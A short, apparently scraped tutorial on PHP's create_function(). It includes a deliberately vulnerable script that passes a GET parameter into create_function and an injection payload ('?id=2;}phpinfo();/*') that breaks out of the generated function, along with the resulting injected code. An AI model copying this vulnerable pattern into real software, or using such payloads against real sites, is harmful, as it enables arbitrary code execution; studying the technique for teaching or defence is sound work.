1
|
create_function(
'$fname'
,
'echo $fname."Zhang"'
)
|
1
2
3
|
function
fT(
$fname
) {
echo
$fname
.
"Zhang"
;
}
|
1
2
3
4
5
6
7
8
9
|
<?php
$newfunc
= create_function(
'$a,$b'
,
'return "ln($a) + ln($b) = " . log($a * $b);'
);
echo
"New anonymous function: $newfunc"
;
echo
$newfunc
(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
//02-8.php?id=2;}phpinfo();/*
$id
=
$_GET
[
'id'
];
$str2
=
'echo '
.
$a
.
'test'
.
$id
.
";"
;
echo
$str2
;
echo
"<br/>"
;
echo
"=============================="
;
echo
"<br/>"
;
$f1
= create_function(
'$a'
,
$str2
);
echo
"<br/>"
;
echo
"=============================="
;
?>
|
1
2
3
4
5
6
7
8
9
10
|
源代码:
function
fT(
$a
) {
echo
"test"
.
$a
;
}
注入后代码:
function
fT(
$a
) {
echo
"test"
;}
phpinfo();/*;
//此处为注入代码。
}
|